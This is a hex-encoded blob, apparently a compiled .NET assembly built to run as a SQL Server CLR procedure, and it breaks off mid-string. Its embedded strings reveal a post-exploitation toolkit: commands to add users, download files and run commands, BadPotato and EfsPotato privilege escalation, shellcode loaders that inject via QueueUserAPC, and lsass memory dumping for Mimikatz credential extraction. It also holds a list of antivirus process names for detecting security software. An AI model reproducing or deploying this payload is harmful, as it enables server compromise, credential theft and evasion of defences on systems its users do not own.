D4661756C744F6666736574730061557365724D61727368616C517561647275706C65004E6F74696679526F7574696E655461626C65006D466C616773004373526F7574696E655461626C65730050726F7879536572766572496E666F007045787072496E666F00436F6D62696E6546696C650053797374656D2E494F004469726563746F7279496E666F00736574417474726962757465734E6F726D616C0044656C65746546696C650047657443757272656E744469720053657443757272656E74446972004563686F00476574436F6E74656E74004C69737450726F6365737300436F6E636174537472696E6741727261790069734172726179004C6973744469720050696E67486F73740070696E67006E65747374617400426164506F7461746F506F726300426164506F7461746F434D4400536574546872656164546F6B656E0047657443757272656E74546872656164004372656174654E616D656450697065570053797374656D2E5465787400537472696E674275696C646572004765744E616D65645069706548616E646C655374617465004F70656E546872656164546F6B656E004475706C6963617465546F6B656E457800437265617465456E7669726F6E6D656E74426C6F636B0043726561746550726F63657373417355736572570053657448616E646C65496E666F726D6174696F6E0043726561746550726F6365737357697468546F6B656E57006C70536563757269747944657363726970746F72004C4F474F4E33325F4C4F474F4E5F494E544552414354495645004C4F474F4E33325F4C4F474F4E5F4E4554574F524B004C4F474F4E33325F4C4F474F4E5F4E45575F43524544454E5449414C53004C4F474F4E33325F50524F56494445525F44454641554C54004C4F474F4E33325F50524F56494445525F57494E4E543530004C4F474F4E33325F50524F56494445525F57494E4E543430004C4F474F4E33325F50524F56494445525F57494E4E543335004E4F5F4552524F52004552524F525F494E53554646494349454E545F425546464552004552524F525F494E56414C49445F464C414753004C6F676F6E557365720053797374656D2E53656375726974792E5072696E636970616C0057696E646F77734964656E746974790053797374656D2E4E6574004E6574776F726B43726564656E7469616C0047657457696E646F77734964656E74697479466F7255736572004C6F6F6B75704163636F756E74536964004C6F6F6B75704163636F756E744E616D6500436F6E76657274534944546F4E616D650053656375726974794964656E74696669657200436F6E766572744E616D65546F5349440053616D436F6E6E6563740053616D4F70656E446F6D61696E0053616D4F70656E416C6961730053616D4765744D656D62657273496E416C6961730053616D467265654D656D6F72790053616D436C6F736548616E646C65004C73614E74537461747573546F57696E4572726F72004E65745368617265456E756D004E657441706942756666657246726565004C73614F70656E506F6C696379004C7361436C6F7365004C7361456E756D657261746554727573746564446F6D61696E73004C7361467265654D656D6F7279004C73615175657279466F726573745472757374496E666F726D6174696F6E004C73614C6F6F6B757053696473004C73614C6F6F6B75704E616D65730047657453696446726F6D446F6D61696E4E616D6500447347657444634E616D65004E657453746174697374696373476574004461746554696D65004765745374617274757054696D65004F70656E5072696E74657200436C6F73655072696E746572004473456E756D6572617465446F6D61696E547275737473004765744443005369645479706555736572005369645479706547726F75700053696454797065446F6D61696E0053696454797065416C696173005369645479706557656C6C4B6E6F776E47726F7570005369645479706544656C657465644163636F756E740053696454797065496E76616C69640053696454797065556E6B6E6F776E0053696454797065436F6D7075746572004D6178696D756D4C656E6774680062756666657200496E697469616C697A6500446973706F736500546F537472696E670053545950455F4449534B0053545950455F5052494E54510053545950455F4445564943450053545950455F4950430053545950455F48494444454E5F4449534B0053545950455F48494444454E5F5052494E540053545950455F48494444454E5F4445564943450053545950455F48494444454E5F495043007368693530335F6E65746E616D65007368693530335F74797065007368693530335F72656D61726B007368693530335F7065726D697373696F6E73007368693530335F6D61785F75736573007368693530335F63757272656E745F75736573007368693530335F70617468007368693530335F706173737764007368693530335F7365727665726E616D65007368693530335F7265736572766564007368693530335F73656375726974795F64657363726970746F7200736869315F6E65746E616D6500736869315F7479706500736869315F72656D61726B00526F6F744469726563746F7279004F626A6563744E616D6500536563757269747944657363726970746F720053656375726974795175616C6974794F6653657276696365004E616D6500536964005265636F7264436F756E7400456E747269657300446E734E616D65004E657462696F734E616D650042756666657200466F726573745472757374547970650054696D6500546F704C6576656C4E616D6500446F6D61696E496E666F004461746100446F6D61696E730055736500446F6D61696E496E6465780052656C6174697665496400446F6D61696E436F6E74726F6C6C65724E616D6500446F6D61696E436F6E74726F6C6C65724164647265737300446F6D61696E436F6E74726F6C6C6572416464726573735479706500446F6D61696E4775696400446F6D61696E4E616D6500446E73466F726573744E616D65004463536974654E616D6500436C69656E74536974654E616D650044535F464F5243455F5245444953434F564552590044535F4449524543544F52595F534552564943455F52455155495245440044535F4449524543544F52595F534552564943455F5052454645525245440044535F47435F5345525645525F52455155495245440044535F5044435F52455155495245440044535F4241434B47524F554E445F4F4E4C590044535F49505F52455155495245440044535F4B44435F52455155495245440044535F54494D45534552565F52455155495245440044535F5752495441424C455F52455155495245440044535F474F4F445F54494D45534552565F5052454645525245440044535F41564F49445F53454C460044535F4F4E4C595F4C4441505F4E45454445440044535F49535F464C41545F4E414D450044535F49535F444E535F4E414D450044535F52455455524E5F444E535F4E414D450044535F52455455524E5F464C41545F4E414D450044535F5745425F534552564943455F52455155495245440053746174697374696373537461727454696D65004279746573526563656976656400536D6273526563656976656400506167696E67526561644279746573526571756573746564004E6F6E506167696E67526561644279746573526571756573746564004361636865526561644279746573526571756573746564004E6574776F726B5265616442797465735265717565737465640042797465735472616E736D697474656400536D62735472616E736D697474656400506167696E6757726974654279746573526571756573746564004E6F6E506167696E675772697465427974657352657175657374656400436163686557726974654279746573526571756573746564004E6574776F726B5772697465427974657352657175657374656400496E697469616C6C794661696C65644F7065726174696F6E73004661696C6564436F6D706C6574696F6E4F7065726174696F6E7300526561644F7065726174696F6E730052616E646F6D526561644F7065726174696F6E730052656164536D6273004C6172676552656164536D627300536D616C6C52656164536D62730057726974654F7065726174696F6E730052616E646F6D57726974654F7065726174696F6E73005772697465536D6273004C617267655772697465536D627300536D616C6C5772697465536D627300526177526561647344656E6965640052617757726974657344656E696564004E6574776F726B4572726F72730053657373696F6E73004661696C656453657373696F6E73005265636F6E6E6563747300436F7265436F6E6E65637473004C616E6D616E3230436F6E6E65637473004C616E6D616E3231436F6E6E65637473004C616E6D616E4E74436F6E6E6563747300536572766572446973636F6E6E656374730048756E6753657373696F6E7300557365436F756E74004661696C6564557365436F756E740043757272656E74436F6D6D616E64730044535F444F4D41494E5F494E5F464F524553540044535F444F4D41494E5F4449524543545F4F5554424F554E440044535F444F4D41494E5F545245455F524F4F540044535F444F4D41494E5F5052494D4152590044535F444F4D41494E5F4E41544956455F4D4F44450044535F444F4D41494E5F4449524543545F494E424F554E4400414C4C004E657462696F73446F6D61696E4E616D6500446E73446F6D61696E4E616D6500506172656E74496E646578005472757374547970650054727573744174747269627574657300446F6D61696E53696400536964547970654C6162656C005472616E736C617465644E616D650062696E64696E6768616E646C650042696E6444656C656761746500556E62696E6444656C6567617465006765745F5573654E756C6C53657373696F6E007365745F5573654E756C6C53657373696F6E00556E62696E64003C5573654E756C6C53657373696F6E3E6B5F5F4261636B696E674669656C64005573654E756C6C53657373696F6E00494E544552464143455F56455253494F4E0053594E5441585F56455253494F4E004C7361724F70656E506F6C696379004C736172436C6F7365004C7361725175657279496E666F726D6174696F6E506F6C69637900556E6D61727368616C5F4C534150525F504F4C4943595F4143434F554E545F444F4D5F494E464F004C7361724C6F6F6B757053696473004D61727368616C5F4C534150525F5349445F454E554D5F425546464552004D61727368616C5F4C7361724C6F6F6B7570536964735F4F757470757400536964496E666F004D6178456E7472696573004E616D65730052706342696E64696E6753657441757468496E666F45780052706342696E64696E6753657441757468496E666F00476574536964537562417574686F7269747900476574536964537562417574686F72697479436F756E74005573657200557365724C656E67746800446F6D61696E00446F6D61696E4C656E6774680050617373776F72640050617373776F72644C656E677468004361706162696C6974696573004964656E74697479547261636B696E6700496D706572736F6E6174696F6E5479706500447372456E756D6572617465446F6D61696E54727573747300446F6D61696E4172726179546F54727573746564446F6D61696E4C69737400446F6D61696E436F756E740053616D72004C7361006765745F456E756D657261746543616C6C6261636B007365745F456E756D657261746543616C6C6261636B006765745F536572766572007365745F536572766572006765745F52504354696D654F7574007365745F52504354696D654F757400456E756D65726174654163636F756E7400456E756D65726174654163636F756E745573696E674C736100456E756D65726174654163636F756E745573696E6753616D72004275696C6453494446726F6D446F6D61696E536964416E64526964003C456E756D657261746543616C6C6261636B3E6B5F5F4261636B696E674669656C64003C5365727665723E6B5F5F4261636B696E674669656C64003C52504354696D654F75743E6B5F5F4261636B696E674669656C6400456E756D657261746543616C6C6261636B00536572766572004E544163636F756E740053616D72436F6E6E6563740053616D72436C6F736548616E646C650053616D72456E756D6572617465446F6D61696E73496E53616D53657276657200556E6D61727368616C5F53414D525F454E554D524154494F4E0053616D724C6F6F6B7570446F6D61696E496E53616D5365727665720053616D724F70656E446F6D61696E0053616D72456E756D65726174655573657273496E446F6D61696E00456E747269657352656164005270634F70656E5072696E74657200527063436C6F73655072696E7465720052706352656D6F746546696E6446697273745072696E7465724368616E67654E6F74696669636174696F6E457800636242756600704465764D6F646500547970650052657365727665643000436F756E7400704669656C647300705479706573007365727665726E616D65004D61727368616C417341747472696275746500556E6D616E6167656454797065006C6576656C00627566007061726D5F6572720067726F75706E616D6500746F74616C656E7472696573007365727665724E616D6500757365724E616D650070617373776F726400737472436F6D6D656E740067726F75704E616D650055524C0066696C656E616D650075726C006C6F63616C706174680070726F636573734964006846696C650064756D705479706500657870506172616D007573657253747265616D506172616D0063616C6C6261636B506172616D00696E46696C65006F757446696C650064756D7044697200636D6400647744657369726564416363657373006C704164647265737300647753697A6500666C416C6C6F636174696F6E5479706500666C50726F74656374006C704261736541646472657373006C70427566666572006E53697A65006C704E756D6265724F6642797465735772697474656E0070666E4150430064774461746100684F626A656374006C704170706C69636174696F6E4E616D65006C70436F6D6D616E644C696E65006C7050726F6341747472696273006C70546872656164417474726962730062496E686572697448616E646C6573006477437265617465466C616773006C70456E7669726F6E6D656E74006C7043757272656E74446972006C705374617274696E666F00496E417474726962757465006C7050726F63496E666F726D6174696F6E004F75744174747269627574650062696E6172795061746800636970686572006B657900636F64650066696C650070726F630061726700617267756D656E74730070726F6772616D0070726F6772616D41726773006F006E4E756D6265724F664279746573546F52656164006C704E756D6265724F66427974657352656164006C704F7665726C6170706564006C7046696C654E616D650061636365737300736861726500736100636400666C6167007A65726F006E616D6500693100693200693300693400693500693600706970650068616E646C6500546F6B656E48616E646C650044697361626C65416C6C50726976696C65676573004E65775374617465004275666665726C656E6774680050726576696F757353746174650052657475726E4C656E677468006852656164506970650068577269746550697065006C705069706541747472696275746573006C7053797374656D4E616D65006C704E616D65006C704C7569640068546F6B656E006C7050726F6365737341747472696275746573006C70546872656164417474726962757465730064774372656174696F6E466C616773006C7043757272656E744469726563746F7279006C7053746172747570496E666F006C7050726F63657373496E666F726D6174696F6E0070726F6365737348616E646C650062696E64696E67537472696E67006C7042696E64696E6700704D49444C5F535455425F444553430061726773006C70537472696E67004F626A557569640050726F74536571004E6574776F726B4164647200456E64706F696E74004F7074696F6E73006C7042696E64696E67537472696E670042696E64696E67004F7074696F6E004F7074696F6E56616C75650062696E64696E670068436F6E746578740046696C654E616D6500696E746572666163654944004D616A6F72566572736F6E0073697A65006D656D6F727900496E74507472736572766572006F666673657400506172616D4172726179417474726962757465006F626A656374006D6574686F640063616C6C6261636B00726573756C7400496E7465726661636556657273696F6E4D616A6F7200496E7465726661636556657273696F6E4D696E6F72006969640070466F726D6174547970657350747200527063496E74657266616365496E666F726D6174696F6E5074720070666E416C6C6F636174655074720070666E4672656550747200696E66696C654E616D65006F757466696C654E616D650072656D6F746546696C650064697200726573004172726179310041727261793200737472696E67417272617900737472696E67546F436865636B006C73646972006E616D654F72416464726573730070726F6700636F6D6D616E64007048616E646C6500706970654E616D65006F70656E4D6F646500706970654D6F6465006D6178496E7374616E636573006F757442756666657253697A6500696E42756666657253697A650064656661756C7454696D656F757400736563757269747941747472696275746573006F7665726C617070656400684E616D656450697065006C705374617465006C70437572496E7374616E636573006C704D6178436F6C6C656374696F6E436F756E74006C70436F6C6C6563744461746154696D656F7574006C70557365724E616D65006E4D6178557365724E616D6553697A650054687265616448616E646C650044657369726564416363657373004F70656E417353656C6600684578697374696E67546F6B656E006C70546F6B656E4174747269627574657300496D706572736F6E6174696F6E4C6576656C00546F6B656E547970650070684E6577546F6B656E0062496E68657269740064774D61736B0064774C6F676F6E466C616773006C70737A557365726E616D65006C70737A446F6D61696E006C70737A50617373776F72640064774C6F676F6E547970650064774C6F676F6E50726F7669646572007068546F6B656E0063726564656E7469616C0072656D6F7465736572766572006363684E616D65005265666572656E636564446F6D61696E4E616D65006363685265666572656E636564446F6D61696E4E616D65007065557365006C704163636F756E744E616D6500636253696400736964737472696E6700736572766572006163636F756E744E616D65007265666572656E636564446F6D61696E006853657276657248616E646C65006465736972656441636365737300747275737465640053616D48616E646C6500446F6D61696E496400446F6D61696E48616E646C6500416C696173496400416C69617348616E646C65004D656D6265727300436F756E7452657475726E656400737461747573005365727665724E616D650062756650747200707265666D61786C656E00656E74726965737265616400726573756D655F68616E646C650053797374656D4E616D65004F626A6563744174747269627574657300506F6C69637948616E646C65004F626A65637448616E646C6500456E756D65726174696F6E436F6E746578740050726566657265644D6178696D756D4C656E67746800704275666665720054727573746564446F6D61696E4E616D6500466F726573745472757374496E666F00707472456E756D42756600707472446F6D61696E4C697374007074724E616D654C697374005265666572656E636564446F6D61696E73005369647300646F6D61696E546F5265736F6C766500436F6D70757465724E616D6500536974654E616D650070444F4D41494E5F434F4E54524F4C4C45525F494E464F0073657276696365006F7074696F6E730062756670747200705072696E7465724E616D650070685072696E746572007044656661756C7400646F6D61696E004144575300666F7263655265646973636F7665727900730073686172656E616D65007368617265747970650072656D61726B0076616C7565006842696E64696E67006147656E6572696342696E64696E67526F7574696E6550616972735074720053657276657248616E646C6500496E666F726D6174696F6E436C61737300506F6C696379496E666F726D6174696F6E00496E74507472506F6C696379496E666F726D6174696F6E00536964456E756D427566666572004C6F6F6B7570526573756C74004C6F6F6B75704C6576656C004D6170706564436F756E740048616E646C65546F4672656500496E745074725265666572656E636564446F6D61696E7300496E745074725472616E736C617465644E616D65730048616E646C6500696E74707472536572766572006F757470757400696E7470747253797374656D4E616D65006F626A6563744174747269627574657300656E756D42756666657200496E74707472427566666572004E616D65537472696E670073696400557365724163636F756E74436F6E74726F6C00696E745074723100696E74507472320070446174617479706500704465764D6F6465436F6E7461696E657200416363657373526571756972656400685072696E74657200666477466C616773006664774F7074696F6E730070737A4C6F63616C4D616368696E650064775072696E7465724C6F63616C00696E7450747233005365727665725072696E634E616D6500417574686E4C6576656C00417574686E53766300417574684964656E7469747900417574687A537663005365637572697479514F5300706F696E74657200737562417574686F72697479496E64657800707369640057696C6C5573654E756C6C53657373696F6E00646F6D61696E730074727573746564446F6D61696E417272617900656E756D657261746543616C6C6261636B004D6178696D756D4E756D62657200526964006163636F756E740053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500446C6C496D706F7274417474726962757465004E657461706933322E646C6C0053797374656D2E44617461004D6963726F736F66742E53716C5365727665722E5365727665720053716C436F6E746578740053716C50697065006765745F506970650053656E64005374727563744C61796F7574417474726962757465004C61796F75744B696E6400576562526571756573740043726561746500487474705765625265717565737400576562526573706F6E736500476574526573706F6E73650048747470576562526573706F6E73650053747265616D00476574526573706F6E736553747265616D0046696C6553747265616D0046696C654D6F64650042797465005265616400577269746500436C6F73650041626F727400537472696E6700436F6E63617400457863657074696F6E0064626768656C702E646C6C0047657443757272656E740057696E646F77735072696E636970616C0057696E646F77734275696C74496E526F6C65004973496E526F6C650046696C650045786973747300466F726D61740044656C6574650052656164416C6C42797465730053797374656D2E494F2E436F6D7072657373696F6E00475A697053747265616D00436F6D7072657373696F6E4D6F6465006765745F4D65737361676500496E74507472005A65726F0050726F636573730047657450726F63657373657342794E616D650047657450726F6365737342794964006765745F50726F636573734E616D65006F705F457175616C697479006765745F4964006765745F48616E646C6500496E7433320055496E7433320046696C654163636573730046696C655368617265005361666546696C6548616E646C65006765745F5361666546696C6548616E646C6500456E7669726F6E6D656E7400476574456E7669726F6E6D656E745661726961626C65004D6963726F736F66742E57696E33320052656769737472790052656769737472794B6579004C6F63616C4D616368696E65004F70656E5375624B65790047657456616C756500426F6F6C65616E004469726563746F72790053716C50726F63656475726541747472696275746500436F6E7461696E7300436861720053706C6974005265706C6163650053797374656D2E546578742E526567756C617245787072657373696F6E73005265676578004B65726E656C3332006B65726E656C33322E646C6C004B65726E656C33322E646C6C006F705F4578706C6963697400436F6E766572740046726F6D426173653634537472696E6700456E636F64696E67006765745F41534349490047657442797465730052656164416C6C546578740044696374696F6E617279603200456E756D657261746F7200476574456E756D657261746F72006765745F43757272656E740052656765784F7074696F6E7300416464004D6F76654E6578740047657450726F6365737365730054727947657456616C756500474300436F6C6C6563740049456E756D657261626C6560310041646452616E6765004372656174655375624B657900526567697374727956616C75654B696E640053657456616C75650050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E64617264496E707574007365745F52656469726563745374616E646172644F7574707574007365745F52656469726563745374616E646172644572726F72007365745F4372656174654E6F57696E646F770053746172740053747265616D577269746572006765745F5374616E64617264496E70757400546578745772697465720057726974654C696E650057616974466F72457869740053797374656D2E436F6D706F6E656E744D6F64656C00436F6D706F6E656E74003C3E635F5F446973706C6179436C61737331007374644F7574707574004461746152656365697665644576656E7441726773003C52756E436F6D6D616E643E625F5F300073656E646572006765745F4461746100417070656E644C696E650049734E756C6C4F72456D707479007365745F417267756D656E74730050726F6365737357696E646F775374796C65007365745F57696E646F775374796C65004461746152656365697665644576656E7448616E646C6572006164645F4F757470757444617461526563656976656400426567696E4F7574707574526561644C696E650053747265616D526561646572006765745F5374616E646172644572726F7200546578745265616465720052656164546F456E64006765745F45786974436F6465006765745F4C656E67746800436F6D70696C657247656E657261746564417474726962757465006765745F4E616D65006765745F546F6B656E004D61727368616C0053697A654F66004765744C61737457696E33324572726F72004E6577477569640057696E3332457863657074696F6E004D616E75616C52657365744576656E7400506172616D65746572697A6564546872656164537461727400546872656164007365745F49734261636B67726F756E6400576169744F6E6500417272617900436F7079006765745F44656661756C7400476574537472696E6700457175616C73004576656E745761697448616E646C65005365740061647661706933322E646C6C006164766170693332007365745F536166655761697448616E646C65005270637274342E646C6C0052706342696E64696E6746726F6D537472696E6742696E64696E6757004E6472436C69656E7443616C6C3200527063537472696E6742696E64696E67436F6D706F736557006765745F53697A6500537472696E67546F48476C6F62616C556E6900474348616E646C655479706500416C6C6F6300416464724F6650696E6E65644F626A6563740052656164496E74507472004672656500476574457863657074696F6E436F646500436F6E736F6C65006F705F496E657175616C697479004672656548476C6F62616C00546F496E74363400534548457863657074696F6E0044656C65676174650047657446756E6374696F6E506F696E746572466F7244656C656761746500416C6C6F6348476C6F62616C00507472546F537472696E67556E6900556E73616665416464724F6650696E6E65644172726179456C656D656E74002E6363746F72003C50726976617465496D706C656D656E746174696F6E44657461696C733E7B34393845423442312D443545462D344539332D394232462D3733393037324133334646437D005F5F5374617469634172726179496E69745479706553697A653D35360024246D6574686F643078363030303130342D310052756E74696D6548656C706572730052756E74696D654669656C6448616E646C6500496E697469616C697A654172726179005F5F5374617469634172726179496E69745479706553697A653D35380024246D6574686F643078363030303130342D32005F5F5374617469634172726179496E69745479706553697A653D31380024246D6574686F643078363030303130342D330024246D6574686F643078363030303130342D340052756E74696D655479706548616E646C65004765745479706546726F6D48616E646C65005772697465427974650052656164427974650046696C65496E666F00506174680047657446696C654E616D650047657446696C65730046696C6553797374656D496E666F006765745F457869737473004765744469726563746F726965730046696C6541747472696275746573007365745F417474726962757465730047657446756C6C50617468005365744174747269627574657300556E617574686F72697A6564416363657373457863657074696F6E00494F457863657074696F6E006765745F43757272656E744469726563746F72790053657443757272656E744469726563746F727900537562737472696E670046696C654E6F74466F756E64457863657074696F6E0053797374656D2E5365637572697479005365637572697479457863657074696F6E00546F41727261790047657443757272656E744469726563746F727900536F727400496E7436340053797374656D2E53656375726974792E416363657373436F6E74726F6C0046696C65536563757269747900476574416363657373436F6E74726F6C004F626A6563745365637572697479004964656E746974795265666572656E6365004765744F776E6572004765744C617374577269746554696D65004469726563746F72794E6F74466F756E64457863657074696F6E0053797374656D2E4E65742E4E6574776F726B496E666F726D6174696F6E0050696E670050696E675265706C79004950537461747573006765745F5374617475730050696E67457863657074696F6E004950476C6F62616C50726F70657274696573004765744950476C6F62616C50726F70657274696573004950456E64506F696E74004765744163746976655463704C697374656E65727300495041646472657373006765745F41646472657373006765745F506F727400546370436F6E6E656374696F6E496E666F726D6174696F6E00476574416374697665546370436F6E6E656374696F6E73006765745F4C6F63616C456E64506F696E74006765745F52656D6F7465456E64506F696E74003C3E635F5F446973706C6179436C61737332007069706548616E646C65003C426164506F7461746F506F72633E625F5F30006765745F4D616368696E654E616D65005468726561645374617274004A6F696E006765745F4361706163697479006765745F557365724E616D65003C3E635F5F446973706C6179436C61737336003C426164506F7461746F434D443E625F5F34006765745F53797374656D4469726563746F7279005365637572697479437269746963616C4174747269627574650053797374656D2E52756E74696D652E436F6E73747261696E6564457865637574696F6E0052656C696162696C697479436F6E747261637441747472696275746500436F6E73697374656E6379004365720075736572656E762E646C6C006765745F446F6D61696E005472616365006765745F50617373776F726400456E7375726543617061636974790053797374656D2E53656375726974792E5065726D697373696F6E7300456E7669726F6E6D656E745065726D697373696F6E417474726962757465005365637572697479416374696F6E006765745F537461636B5472616365006765745F42696E6172794C656E6774680047657442696E617279466F726D0073616D6C69622E646C6C004E657461706933320053656375726974795065726D697373696F6E41747472696275746500507472546F537472756374757265004D696E56616C75650046726F6D46696C6554696D650077696E73706F6F6C2E647276004F70656E5072696E7465725700456D707479004669656C644F666673657441747472696275746500466C616773417474726962757465004465627567676572446973706C61794174747269627574650052656164496E743332005F5F5374617469634172726179496E69745479706553697A653D3536350024246D6574686F643078363030303130632D31005F5F5374617469634172726179496E69745479706553697A653D3539370024246D6574686F643078363030303130632D32005F5F5374617469634172726179496E69745479706553697A653D3932350024246D6574686F643078363030303130632D33005F5F5374617469634172726179496E69745479706553697A653D3739330024246D6574686F643078363030303130632D340052706342696E64696E6753657441757468496E666F4578570052706342696E64696E6753657441757468496E666F57005F5F5374617469634172726179496E69745479706553697A653D35350024246D6574686F643078363030303130642D31005F5F5374617469634172726179496E69745479706553697A653D35370024246D6574686F643078363030303130642D32005F5F5374617469634172726179496E69745479706553697A653D3139310024246D6574686F643078363030303130642D33005F5F5374617469634172726179496E69745479706553697A653D3134310024246D6574686F643078363030303130642D34004D617842696E6172794C656E677468005772697465496E743332005F5F5374617469634172726179496E69745479706553697A653D3537330024246D6574686F643078363030303130652D31005F5F5374617469634172726179496E69745479706553697A653D3630310024246D6574686F643078363030303130652D32005F5F5374617469634172726179496E69745479706553697A653D3234330024246D6574686F643078363030303130652D33005F5F5374617469634172726179496E69745479706553697A653D3139390024246D6574686F643078363030303130652D34005F5F5374617469634172726179496E69745479706553697A653D323235310024246D6574686F643078363030303130662D31005F5F5374617469634172726179496E69745479706553697A653D323338330024246D6574686F643078363030303130662D32005F5F5374617469634172726179496E69745479706553697A653D3135390024246D6574686F643078363030303130662D33005F5F5374617469634172726179496E69745479706553697A653D3133350024246D6574686F643078363030303130662D3400000000002B5B0058005D0020004500720072006F007200200041006400640069006E00670020005500730065007200002F5B002A005D00200041006400640069006E0067002000550073006500720020007300750063006300650073007300003B5B0058005D0020004500720072006F007200200041006400640069006E0067002000470072006F007500700020004D0065006D00620065007200003F5B002A005D00200041006400640069006E0067002000470072006F007500700020004D0065006D0062006500720020007300750063006300650073007300001D410064006D0069006E006900730074007200610074006F0072007300001D5B0058005D0020004500520052004F00520020004C006F0067003A0000295B002A005D00200044006F0077006E006C006F00610064002000730075006300630065007300730000235B0058005D00200044006F0077006E006C006F006100640020006600610069006C00005D5B0058005D0020004F00750074007000750074002000660069006C006500200027007B0030007D002700200061006C007200650061006400790020006500780069007300740073002C002000720065006D006F00760069006E00670001535B0058005D00200045007800630065007000740069006F006E0020007700680069006C006500200063006F006D007000720065007300730069006E0067002000660069006C0065003A0020007B0030007D00000B6C00730061007300730000270A005B0058005D0045007800630065007000740069006F006E003A0020007B0030007D000A0000610A005B0058005D0020004E006F007400200069006E0020006800690067006800200069006E0074006500670072006900740079002C00200075006E00610062006C006500200074006F0020004D0069006E006900440075006D00700021000A0000590A005B0058005D0020004500720072006F0072002000670065007400740069006E0067002000680061006E0064006C006500200074006F0020007B0030007D00200028007B0031007D0029003A0020007B0032007D000A0000217B0030007D005C00640065006200750067007B0031007D002E006F007500740000217B0030007D005C00640065006200750067007B0031007D002E00620069006E00003B0A005B002A005D002000440075006D00700069006E00670020007B0030007D00200028007B0031007D002900200074006F0020007B0032007D0000295B002B005D002000440075006D00700020007300750063006300650073007300660075006C002100004B0A005B002A005D00200043006F006D007000720065007300730069006E00670020007B0030007D00200074006F0020007B0031007D00200067007A00690070002000660069006C00650000215B002A005D002000440065006C006500740069006E00670020007B0030007D000080870A005B002B005D002000440075006D00700069006E006700200063006F006D0070006C0065007400650064002E002000520065006E0061006D0065002000660069006C006500200074006F0020002200640065006200750067007B0030007D002E0067007A002200200074006F0020006400650063006F006D00700072006500730073002E00002D500052004F0043004500530053004F0052005F004100520043004800490054004500430054005500520045000001005953006F006600740077006100720065005C004D006900630072006F0073006F00660074005C00570069006E0064006F007700730020004E0054005C00430075007200720065006E007400560065007200730069006F006E0000077B0030007D000017500072006F0064007500630074004E0061006D00650000370A005B002A005D0020004F007000650072006100740069006E0067002000530079007300740065006D0020003A0020007B0030007D0000355B002A005D002000410072006300680069007400650063007400750072006500200020002000200020003A0020007B0030007D000080B75B002A005D00200055007300650020002200730065006B00750072006C00730061003A003A006D0069006E006900640075006D0070002000640065006200750067002E006F0075007400220020002200730065006B00750072006C00730061003A003A006C006F0067006F006E00500061007300730077006F007200640073002000660075006C006C00220020006F006E0020007400680065002000730061006D00650020004F0053002F0061007200630068000A0000295B0058005D002000440075006D00700020006600610069006C00650064003A0020007B0030007D0000530A005B0058005D002000440075006D00700020006400690072006500630074006F0072007900200022007B0030007D002200200064006F00650073006E002700740020006500780069007300740021000A00011B63006C0072005F00640075006D0070006C0073006100730073000015530079007300740065006D0052006F006F00740000137B0030007D005C00540065006D0070005C00000F63006C0072005F00700077006400000D63006C0072005F006C007300000D63006C0072005F0063006400001163006C0072005F00700069006E006700000D63006C0072005F0072006D00000F63006C0072005F00630061007400000D63006C0072005F0070007300001763006C0072005F006E00650074007300740061007400001363006C0072005F0067006500740061007600000F63006C0072005F00720064007000001763006C0072005F006100640064007500730065007200000F63006C0072005F0063006D006400001163006C0072005F0063006D0064002000001163006C0072005F006500780065006300001363006C0072005F006500780065006300200000052D00700001052D00610001072D0070002000011B63006C0072005F0065006600730070006F007400610074006F00001D63006C0072005F0065006600730070006F007400610074006F002000001B63006C0072005F0062006100640070006F007400610074006F00001D63006C0072005F0062006100640070006F007400610074006F002000001963006C0072005F0064006F0077006E006C006F0061006400001763006C0072005F0063006F006D00620069006E006500001963006C0072005F00730063006C006F006100640065007200001B63006C0072005F00730063006C006F0061006400650072003100001B63006C0072005F00730063006C006F0061006400650072003200001B43006F006D006D0061006E00640020006500720072006F00720000335B002B005D00200045006E00630072007900700074005300680065006C006C0063006F00640065003A0020007B0030007D00001F5B002B005D00200058006F0072004B00650079003A0020007B0030007D00004143003A002F00570069006E0064006F00770073002F00530079007300740065006D00330032002F007700650072006600610075006C0074002E00650078006500003B5B002B005D00200053007400610072007400500072006F00630065007300730020007700650072006600610075006C0074002E0065007800650000315B002B005D0020004F00700065006E00500072006F00630065007300730020005000690064003A0020007B0030007D0000355B002B005D0020005600690072007400750061006C0041006C006C006F0063004500780020005300750063006300650073007300006B5B002B005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200074006F0020005000490044003A0020007B0030007D0020005300750063006300650073007300003B5B002B005D00200068004F00700065006E00500072006F00630065007300730043006C006F00730065002000530075006300630065007300730000670A000A005B002A005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200053007500630063006500730073002C00200065006E006A006F0079002100003B5B002B005D00200045006E00630072007900700074005300680065006C006C0063006F006400650050006100740068003A0020007B0030007D00002D5B002B005D0020005300680065006C006C0063006F006400650050006100740068003A0020007B0030007D0000033A00001F5B002A005D002000460069006E00640069006E0067002E002E002E002E0000412000200020005B003E005D002000700072006F004E0061006D0065003A0020007B0030007D0020006100700070004E0061006D0065003A0020007B0031007D0000555B0021005D0020004E006F00200061006E00740069002D0076006900720075007300200073006F0066007400770061007200650020006F006E002000740068006900730020006D0061006300680069006E00650001175B002A005D002000460069006E006900730068002100002933003600300074007200610079003A00330036003000895B68516B53EB582D009E5BF665DD4FA462012733003600300073006100660065003A00330036003000895B68516B53EB582D003B4E0B7A8F5E01355A006800750044006F006E006700460061006E006700590075003A00330036003000895B68516B53EB582D003B4EA8523296A15F0117330036003000730064003A003300360030004067D26B012761003200670075006100720064003A0061002D0073007100750061007200650064004067D26B0127610064002D00770061007400630068003A004C0061007600610073006F00660074004067D26B012D63006C00650061006E006500720038003A00540068006500200043006C00650061006E00650072004067D26B0121760062006100330032006C006400650072003A0076006200330032004067D26B012D4D006F006E0067006F006F00730061004700550049003A004D006F006E0067006F006F00730061004067D26B014943006F00720061006E007400690043006F006E00740072006F006C00430065006E00740065007200330032003A0043006F00720061006E007400690032003000310032004067D26B012F46002D00500052004F0054003A0046002D00500072006F007400200041006E007400690056006900720075007300012343004D0043005400720061007900490063006F006E003A0043004D0043004067D26B01214B0037005400530065006300750072006900740079003A004B0037004067D26B012755006E005400680072006500610074003A0055006E005400680072006500610074004067D26B015143004B0053006F00660074005300680069006500640041006E00740069007600690072007500730034003A0053006800690065006C006400200041006E0074006900760069007200750073004067D26B013B4100560057006100740063006800530065007200760